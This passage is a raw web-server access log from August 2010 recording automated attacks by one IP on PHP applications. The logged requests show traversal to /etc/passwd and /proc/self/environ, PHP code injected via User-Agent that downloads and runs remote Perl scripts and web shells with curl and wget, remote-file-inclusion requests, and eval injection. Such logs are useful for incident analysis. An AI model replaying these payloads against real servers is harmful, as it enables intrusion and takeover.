/dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:22:54 +0200] "GET /wordpress/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:23:07 +0200] "GET /wordpress/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:23:18 +0200] "GET /wordpress/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:05:24:01 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:05:24:12 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:24:21 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:24:31 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:05:24:39 +0200] "GET /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:06:02:19 +0200] "GET //bbs/zero_vote/login.php?dir=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:06:02:20 +0200] "GET /index.php?page=links//bbs/zero_vote/login.php?dir=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:06:02:20 +0200] "GET /wordpress//bbs/zero_vote/login.php?dir=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:06:02:20 +0200] "GET //bbs/zero_vote/login.php?dir=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:13:24:46 +0200] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:13:24:46 +0200] "GET /index.php?page=links/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:13:43:59 +0200] "GET /index.php?page=links/historytemplate.php?cms[support]=1&cms[tngpath]=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:13:43:59 +0200] "GET /historytemplate.php?cms[support]=1&cms[tngpath]=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:13:43:59 +0200] "GET /historytemplate.php?cms[support]=1&cms[tngpath]=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:16:37:16 +0200] "GET /index.php?pagina=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:16:37:16 +0200] "GET /index.php?page=links/index.php?pagina=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:21:40:46 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:21:40:53 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:40:59 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:41:04 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:41:10 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:21:49:29 +0200] "GET /wordpress//components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:21:49:35 +0200] "GET /wordpress//components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:49:41 +0200] "GET /wordpress//components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 24576 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:49:46 +0200] "GET /wordpress//components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:49:54 +0200] "GET /wordpress//components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:21:55:57 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:21:56:03 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:56:14 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:56:22 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:21:56:29 +0200] "GET //components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:23:26:20 +0200] "GET //components/com_flyspray/startdown.php?file=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:23:26:25 +0200] "GET //components/com_flyspray/startdown.php?file=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:23:31:49 +0200] "GET /%20%20//components/com_flyspray/startdown.php?file=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:23:32:09 +0200] "GET /%20%20//components/com_flyspray/startdown.php?file=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [09/Aug/2010:23:36:01 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:23:36:08 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:36:14 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:36:22 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:36:29 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:23:41:24 +0200] "GET /wordpress//components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:23:41:29 +0200] "GET /wordpress//components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:41:35 +0200] "GET /wordpress//components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:41:41 +0200] "GET /wordpress//components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:41:44 +0200] "GET /wordpress//components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [09/Aug/2010:23:43:32 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [09/Aug/2010:23:43:41 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:43:48 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:43:57 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [09/Aug/2010:23:44:04 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [10/Aug/2010:00:03:59 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [10/Aug/2010:00:04:03 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [10/Aug/2010:00:04:07 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [10/Aug/2010:00:04:12 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [10/Aug/2010:00:04:16 +0200] "GET //components/com_flyspray/startdown.php?file=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [10/Aug/2010:02:16:21 +0200] "GET //admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:21 +0200] "GET /wordpress//admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:22 +0200] "GET /index.php?page=links//admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:25 +0200] "GET /wordpress//admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:22 +0200] "GET //admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:25 +0200] "GET //admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:26 +0200] "GET /index.php?page=links//admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:26 +0200] "GET /wordpress//admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:27 +0200] "GET //admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:27 +0200] "GET //admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:28 +0200] "GET //admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:02:16:28 +0200] "GET /index.php?page=links//admin/auth.php?xcart_dir=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:17:08:33 +0200] "GET //index.php?_zb_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:17:08:35 +0200] "GET //index.php?_zb_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:17:38:48 +0200] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection%7B%7Deval($_GET[w]);class%20zZz_ADOConnection%7B%7D//&w=include($_GET[a]);&a=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:17:38:47 +0200] "GET /wordpress/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection%7B%7Deval($_GET[w]);class%20zZz_ADOConnection%7B%7D//&w=include($_GET[a]);&a=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:17:38:52 +0200] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection%7B%7Deval($_GET[w]);class%20zZz_ADOConnection%7B%7D//&w=include($_GET[a]);&a=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [10/Aug/2010:17:38:52 +0200] "GET /wordpress/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection%7B%7Deval($_GET[w]);class%20zZz_ADOConnection%7B%7D//&w=include($_GET[a]);&a=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [11/Aug/2010:18:39:11 +0200] "GET /index.php?page=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [11/Aug/2010:18:39:21 +0200] "GET /index.php?page=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [11/Aug/2010:18:39:28 +0200] "GET /index.php?page=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [11/Aug/2010:22:27:55 +0200] "GET /%20%20//zipndownload.php?PP_PATH=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [11/Aug/2010:22:27:55 +0200] "GET /%20%20//zipndownload.php?PP_PATH=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [11/Aug/2010:22:27:55 +0200] "GET //zipndownload.php?PP_PATH=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [11/Aug/2010:22:27:54 +0200] "GET //zipndownload.php?PP_PATH=http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt? HTTP/1.1" 200 148877 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:00:58:59 +0200] "GET /wordpress/joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [12/Aug/2010:00:59:04 +0200] "GET /wordpress/joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [12/Aug/2010:00:59:14 +0200] "GET /wordpress/joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [12/Aug/2010:00:59:20 +0200] "GET /wordpress/joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [12/Aug/2010:00:59:24 +0200] "GET /wordpress/joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [12/Aug/2010:00:59:27 +0200] "GET /joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 149046 "-" "libwww-perl/5.805"125.141.90.102 - - [12/Aug/2010:00:59:37 +0200] "GET /joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"uname -a 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [12/Aug/2010:00:59:43 +0200] "GET /joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"curl -O http://m3ngau.fileave.com/cri.txt;perl cri.txt;rm -rf cri.txt;lwp-download http://m3ngau.fileave.com/cri.txt;perl cri.txt.txt;rm -rf cri.txt.txt;rm -rf *.txt 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [12/Aug/2010:00:59:51 +0200] "GET /joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "itil<?system(\"wget http://sites.google.com/site/nurhayatisatu/3.txt -O mengau.php;chmod 755 mengau.php 2> /dev/stdout\"); ?>itil"125.141.90.102 - - [12/Aug/2010:00:59:58 +0200] "GET /joomla/index.php?option=com_restaurante&task=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 150280 "-" "empix<?passthru(\"uname -a 2> /dev/stdout\"); ?>empix"125.141.90.102 - - [12/Aug/2010:05:45:54 +0200] "GET /lostpasswd.php?env[include_prefix]=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:05:45:55 +0200] "GET /lostpasswd.php?env[include_prefix]=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:05:45:55 +0200] "GET /wordpress/lostpasswd.php?env[include_prefix]=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:05:45:53 +0200] "GET /wordpress/lostpasswd.php?env[include_prefix]=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:06:05:27 +0200] "GET //phpAdsNew/view.inc.php?phpAds_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:06:05:27 +0200] "GET /wordpress//phpAdsNew/view.inc.php?phpAds_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:06:05:31 +0200] "GET /wordpress//phpAdsNew/view.inc.php?phpAds_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:06:05:31 +0200] "GET //phpAdsNew/view.inc.php?phpAds_path=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:06:29:24 +0200] "GET //weather/hw3.php//hw3.php?daysonly=0).include($_GET[file]).(0&file=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:06:29:24 +0200] "GET /wordpress//weather/hw3.php//hw3.php?daysonly=0).include($_GET[file]).(0&file=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 73728 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:06:49:54 +0200] "GET //modules/Forums/admin/errors.php?error=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:06:50:17 +0200] "GET //modules/Forums/admin/errors.php?error=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:07:28:36 +0200] "GET /wordpress//joomla_Path/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:07:28:36 +0200] "GET //joomla_Path/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:07:29:46 +0200] 